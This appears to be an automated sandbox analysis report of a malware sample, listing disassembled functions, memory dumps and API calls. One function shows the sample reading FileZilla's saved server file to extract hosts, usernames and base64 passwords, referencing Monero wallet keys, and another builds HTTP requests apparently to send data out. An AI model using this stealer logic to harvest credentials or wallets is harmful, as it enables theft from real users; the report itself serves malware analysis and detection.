Function 01275F3D Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

6jz;, xrefs: 01275FBF

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6jz;
API String ID: 0-3583987407
Opcode ID: 91ac0c501b2e249521ff69caccb407584d8157d7401ba534ec489ed7fe1aee3b
Instruction ID: 7cb33f5c9c63b7da015c01bbd03a53a1a716cc1b0fd02893d082571ca90ac4fd
Opcode Fuzzy Hash: 91ac0c501b2e249521ff69caccb407584d8157d7401ba534ec489ed7fe1aee3b
Instruction Fuzzy Hash: 46416AF3E0512457E3186E3DDC4477ABBD6DB90360F1B463EEA8993780E9795D0582C2

Function 0124F86C Relevance: 1.3, Strings: 1, Instructions: 17COMMON

Download Yara Rule

Strings

p=8w, xrefs: 0124F87C

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: p=8w
API String ID: 0-3208007975
Opcode ID: 34d9b93727dfd4962055878fbee9efa1cbc7f51003b86267983ace41a3b9bcf9
Instruction ID: 5be143e80eb3f6765a2bf808a6b6d574b921ce6c3a6013fe1b50e551b5da7702
Opcode Fuzzy Hash: 34d9b93727dfd4962055878fbee9efa1cbc7f51003b86267983ace41a3b9bcf9
Instruction Fuzzy Hash: F7E0B671E10608EFEB48CF98C78469C7BB1EB8A340F608065D546AB259D2704B459B00

Function 013C85BA Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f6fc14766c69bf065e5937ef7583a55470e2c9607c85ea23de8f5fc020c4167
Instruction ID: 7e3c66d504fe759cf1a4c937cf80aa85974a285961d763b74cefbe15ef2aa619
Opcode Fuzzy Hash: 3f6fc14766c69bf065e5937ef7583a55470e2c9607c85ea23de8f5fc020c4167
Instruction Fuzzy Hash: 8D02F7F390C6049FE304AF28DC8567AFBE5EF94720F064A2DEAC987744E63559448B87

Function 013449F6 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b001ea54cd719db48b7be768c4efd3ecd59760b42afe81b31ef386eea2b0b65
Instruction ID: 87c479a3311870d95142325f8df8b5f3fc20f36e829835bf75681ad240cf9d62
Opcode Fuzzy Hash: 6b001ea54cd719db48b7be768c4efd3ecd59760b42afe81b31ef386eea2b0b65
Instruction Fuzzy Hash: FB71F8F3A082149FE3146F29DC8577ABBE5EB94320F1A493CDBD497784EA3948058686

Function 013AF178 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cef32beab6c5bebf87c41f6914b4b5832566670c39cb6d3cae9819d1aad24ea3
Instruction ID: d7d7a114e2b0249279b9c4723c34443d332b7e54ec86946b34afd0923312a80c
Opcode Fuzzy Hash: cef32beab6c5bebf87c41f6914b4b5832566670c39cb6d3cae9819d1aad24ea3
Instruction Fuzzy Hash: 846129F390C2109FE304AE2DEC8576AB7E5EF94310F1A853DEBC483784EA7958048697

Function 0130FE68 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f67a187568dfbe88ef8996c555226bb4e5cc232a3491fd37679a2c58f42bdb8e
Instruction ID: 5ba328d8763884978de6c34de1d3af0ca517816c46a67279602aaabd5b7373ac
Opcode Fuzzy Hash: f67a187568dfbe88ef8996c555226bb4e5cc232a3491fd37679a2c58f42bdb8e
Instruction Fuzzy Hash: 244129F3D042004BF754A97CEC8676ABAD5DB94320F1A4A3CABD8C37C4F93D99018686

Function 012EF67F Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4c7e87757364f1fa3e21e0bb06e7428b56f2cea60255eb586b5aa402dec3028
Instruction ID: 536381f53eeea92215545ef1aba8007b767de3f77ddbdeffc02680673027eb88
Opcode Fuzzy Hash: c4c7e87757364f1fa3e21e0bb06e7428b56f2cea60255eb586b5aa402dec3028
Instruction Fuzzy Hash: 0D418AF3A182089FF3041D28EC8573BB7DAE790760F2B863DAA85C3744D93A58054255

Function 01492AE8 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70d34bbcefae9928e8dfd8a846bde45139e6883c9236fe3db2520fb0ebe4ce77
Instruction ID: 21e14dfa8b92de52e6ba00140231df573445ddc75494732dba2a9eaf356a3591
Opcode Fuzzy Hash: 70d34bbcefae9928e8dfd8a846bde45139e6883c9236fe3db2520fb0ebe4ce77
Instruction Fuzzy Hash: A33183B390D2209FE705BE29D8915AAFBE5EF98360F16492DE9D4C3610D6315840CBD7

Function 01009750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 01000250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 01008DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01008E0B

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FF99EC
Part of subcall function 00FF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FF9A11
Part of subcall function 00FF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FF9A31
Part of subcall function 00FF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FF148F,00000000), ref: 00FF9A5A
Part of subcall function 00FF99C0: LocalFree.KERNEL32(00FF148F), ref: 00FF9A90
Part of subcall function 00FF99C0: CloseHandle.KERNEL32(000000FF), ref: 00FF9A9A

Part of subcall function 01008E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01008E52

GetProcessHeap.KERNEL32(00000000,000F423F,01010DBA,01010DB7,01010DB6,01010DB3), ref: 01000362
RtlAllocateHeap.NTDLL(00000000), ref: 01000369
StrStrA.SHLWAPI(00000000,<Host>), ref: 01000385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 01000393
StrStrA.SHLWAPI(00000000,<Port>), ref: 010003CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 010003DD
StrStrA.SHLWAPI(00000000,<User>), ref: 01000419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 01000427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 01000463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 01000475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 01000502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 0100051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 01000532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 0100054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 01000562
lstrcat.KERNEL32(?,profile: null), ref: 01000571
lstrcat.KERNEL32(?,url: ), ref: 01000580
lstrcat.KERNEL32(?,00000000), ref: 01000593
lstrcat.KERNEL32(?,01011678), ref: 010005A2
lstrcat.KERNEL32(?,00000000), ref: 010005B5
lstrcat.KERNEL32(?,0101167C), ref: 010005C4
lstrcat.KERNEL32(?,login: ), ref: 010005D3
lstrcat.KERNEL32(?,00000000), ref: 010005E6
lstrcat.KERNEL32(?,01011688), ref: 010005F5
lstrcat.KERNEL32(?,password: ), ref: 01000604
lstrcat.KERNEL32(?,00000000), ref: 01000617
lstrcat.KERNEL32(?,01011698), ref: 01000626
lstrcat.KERNEL32(?,0101169C), ref: 01000635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01010DB2), ref: 0100068E

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 010002A4
<Host>, xrefs: 0100037C
<Port>, xrefs: 010003C6
password: , xrefs: 010005FB
url: , xrefs: 01000577
browser: FileZilla, xrefs: 01000559
profile: null, xrefs: 01000568
<Pass encoding="base64">, xrefs: 0100045A
login: , xrefs: 010005CA
<User>, xrefs: 01000410

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: a1af0ee0b477343c71193fc3b3dd6a1fc8f4d0a843bbc264881d530d89b6aa1a
Instruction ID: 4ad957c2f5b71fd8cd2e95bedb4a706fa56568a72d823742de67548349ed95e3
Opcode Fuzzy Hash: a1af0ee0b477343c71193fc3b3dd6a1fc8f4d0a843bbc264881d530d89b6aa1a
Instruction Fuzzy Hash: CBD10071A002099BEB15EBF4DD99EEE7778BF68300F544518F182A70C8DF75AA49CB60

Function 00FF5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FF4839
Part of subcall function 00FF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FF4849

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00FF59F8
StrCmpCA.SHLWAPI(?,0198FB08), ref: 00FF5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FF5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0198FAC8,00000000,?,0198ED48,00000000,?,01011A1C), ref: 00FF5E71
lstrlen.KERNEL32(00000000), ref: 00FF5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00FF5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00FF5E9A
lstrlen.KERNEL32(00000000), ref: 00FF5EAF
lstrlen.KERNEL32(00000000), ref: 00FF5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FF5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00FF5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00FF5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00FF5F4C
InternetCloseHandle.WININET(00000000), ref: 00FF5FB0
InternetCloseHandle.WININET(00000000), ref: 00FF5FBD
HttpOpenRequestA.WININET(00000000,0198FA28,?,0198F400,00000000,00000000,00400100,00000000), ref: 00FF5BF8

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

InternetCloseHandle.WININET(00000000), ref: 00FF5FC7

Strings

------, xrefs: 00FF5A96
", xrefs: 00FF5CD5
------, xrefs: 00FF5D4C
------, xrefs: 00FF5C0B
", xrefs: 00FF5E16

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
